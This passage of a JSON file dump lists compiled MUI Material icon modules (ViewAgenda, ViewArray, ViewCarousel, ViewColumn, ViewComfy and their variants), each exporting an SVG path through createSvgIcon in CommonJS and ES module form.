\"1.5\"\n}, \"3\")], 'VideogameAssetTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewAgenda.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2m0-10H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ViewAgenda');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewAgenda.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2m0-10H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ViewAgenda');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewAgendaOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2m0 6H5v-4h14zm0-16H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 6H5V5h14z\"\n}), 'ViewAgendaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewAgendaOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2m0 6H5v-4h14zm0-16H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 6H5V5h14z\"\n}), 'ViewAgendaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewAgendaRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2m0-10H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ViewAgendaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewAgendaRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2m0-10H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'ViewAgendaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewAgendaSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13h18v8H3zM3 3h18v8H3z\"\n}), 'ViewAgendaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewAgendaSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13h18v8H3zM3 3h18v8H3z\"\n}), 'ViewAgendaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewAgendaTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 5h14v4H5zm0 10h14v4H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 13H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2m0 6H5v-4h14zm0-16H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 6H5V5h14z\"\n}, \"1\")], 'ViewAgendaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewAgendaTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 5h14v4H5zm0 10h14v4H5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 13H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2m0 6H5v-4h14zm0-16H5c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 6H5V5h14z\"\n}, \"1\")], 'ViewAgendaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewArray.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5h-3v14h3zm-4 0H7v14h10zM6 5H3v14h3z\"\n}), 'ViewArray');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewArray.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5h-3v14h3zm-4 0H7v14h10zM6 5H3v14h3z\"\n}), 'ViewArray');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewArrayOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 7v10H9V7zm6-2h-3v14h3zm-4 0H7v14h10zM6 5H3v14h3z\"\n}), 'ViewArrayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewArrayOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 7v10H9V7zm6-2h-3v14h3zm-4 0H7v14h10zM6 5H3v14h3z\"\n}), 'ViewArrayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewArrayRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-1c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h1c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1m-4 0H8c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h8c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1M5 5H4c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h1c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1\"\n}), 'ViewArrayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewArrayRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-1c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h1c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1m-4 0H8c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h8c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1M5 5H4c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h1c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1\"\n}), 'ViewArrayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewArraySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5h-3v14h3zm-4 0H7v14h10zM6 5H3v14h3z\"\n}), 'ViewArraySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewArraySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5h-3v14h3zm-4 0H7v14h10zM6 5H3v14h3z\"\n}), 'ViewArraySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewArrayTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 7h6v10H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 7v10H9V7zm6-2h-3v14h3zm-4 0H7v14h10zM6 5H3v14h3z\"\n}, \"1\")], 'ViewArrayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewArrayTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 7h6v10H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 7v10H9V7zm6-2h-3v14h3zm-4 0H7v14h10zM6 5H3v14h3z\"\n}, \"1\")], 'ViewArrayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCarousel.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 7h4v10H2zm5 12h10V5H7zM18 7h4v10h-4z\"\n}), 'ViewCarousel');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCarousel.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 7h4v10H2zm5 12h10V5H7zM18 7h4v10h-4z\"\n}), 'ViewCarousel');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCarouselOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 7h4v10H2zm5 12h10V5H7zM9 7h6v10H9zm9 0h4v10h-4z\"\n}), 'ViewCarouselOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCarouselOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 7h4v10H2zm5 12h10V5H7zM9 7h6v10H9zm9 0h4v10h-4z\"\n}), 'ViewCarouselOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCarouselRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 7h2c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1H3c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1m5 12h8c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1M19 7h2c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1h-2c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1\"\n}), 'ViewCarouselRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCarouselRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 7h2c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1H3c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1m5 12h8c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1H8c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1M19 7h2c.55 0 1 .45 1 1v8c0 .55-.45 1-1 1h-2c-.55 0-1-.45-1-1V8c0-.55.45-1 1-1\"\n}), 'ViewCarouselRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCarouselSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 7h4v10H2zm5 12h10V5H7zM18 7h4v10h-4z\"\n}), 'ViewCarouselSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCarouselSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 7h4v10H2zm5 12h10V5H7zM18 7h4v10h-4z\"\n}), 'ViewCarouselSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCarouselTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 7h6v10H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 7h4v10H2zm5 12h10V5H7zM9 7h6v10H9zm9 0h4v10h-4z\"\n}, \"1\")], 'ViewCarouselTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewCarouselTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 7h6v10H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 7h4v10H2zm5 12h10V5H7zM9 7h6v10H9zm9 0h4v10h-4z\"\n}, \"1\")], 'ViewCarouselTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewColumn.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.67 5v14H9.33V5zm1 14H21V5h-5.33zm-7.34 0V5H3v14z\"\n}), 'ViewColumn');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewColumn.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.67 5v14H9.33V5zm1 14H21V5h-5.33zm-7.34 0V5H3v14z\"\n}), 'ViewColumn');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewColumnOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14h18V5zm5.33 12H5V7h3.33zm5.34 0h-3.33V7h3.33zM19 17h-3.33V7H19z\"\n}), 'ViewColumnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewColumnOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14h18V5zm5.33 12H5V7h3.33zm5.34 0h-3.33V7h3.33zM19 17h-3.33V7H19z\"\n}), 'ViewColumnOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewColumnRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.67 6v12c0 .55-.45 1-1 1h-3.33c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h3.33c.55 0 1 .45 1 1m2 13H20c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1h-3.33c-.55 0-1 .45-1 1v12c0 .55.44 1 1 1m-8.34-1V6c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h3.33c.56 0 1-.45 1-1\"\n}), 'ViewColumnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewColumnRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.67 6v12c0 .55-.45 1-1 1h-3.33c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h3.33c.55 0 1 .45 1 1m2 13H20c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1h-3.33c-.55 0-1 .45-1 1v12c0 .55.44 1 1 1m-8.34-1V6c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h3.33c.56 0 1-.45 1-1\"\n}), 'ViewColumnRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewColumnSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.67 5v14H9.33V5zm1 14H21V5h-5.33zm-7.34 0V5H3v14z\"\n}), 'ViewColumnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewColumnSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.67 5v14H9.33V5zm1 14H21V5h-5.33zm-7.34 0V5H3v14z\"\n}), 'ViewColumnSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewColumnTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.33 17H5V7h3.33zm5.34 0h-3.33V7h3.33zM19 17h-3.33V7H19z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 5v14h18V5zm5.33 12H5V7h3.33zm5.34 0h-3.33V7h3.33zM19 17h-3.33V7H19z\"\n}, \"1\")], 'ViewColumnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewColumnTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.33 17H5V7h3.33zm5.34 0h-3.33V7h3.33zM19 17h-3.33V7H19z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 5v14h18V5zm5.33 12H5V7h3.33zm5.34 0h-3.33V7h3.33zM19 17h-3.33V7H19z\"\n}, \"1\")], 'ViewColumnTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfy.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M2 4v7h20V4zm8 16h12v-7H10zm-8 0h6v-7H2z\"\n}), 'ViewComfy');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfy.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M2 4v7h20V4zm8 16h12v-7H10zm-8 0h6v-7H2z\"\n}), 'ViewComfy');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfyAlt.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2m-9 13H7v-4h4zm0-6H7V7h4zm6 6h-4v-4h4zm0-6h-4V7h4z\"\n}), 'ViewComfyAlt');"
  },
  {
    "path": "packages/mui-icons-material/lib/ViewComfyAlt.mjs",
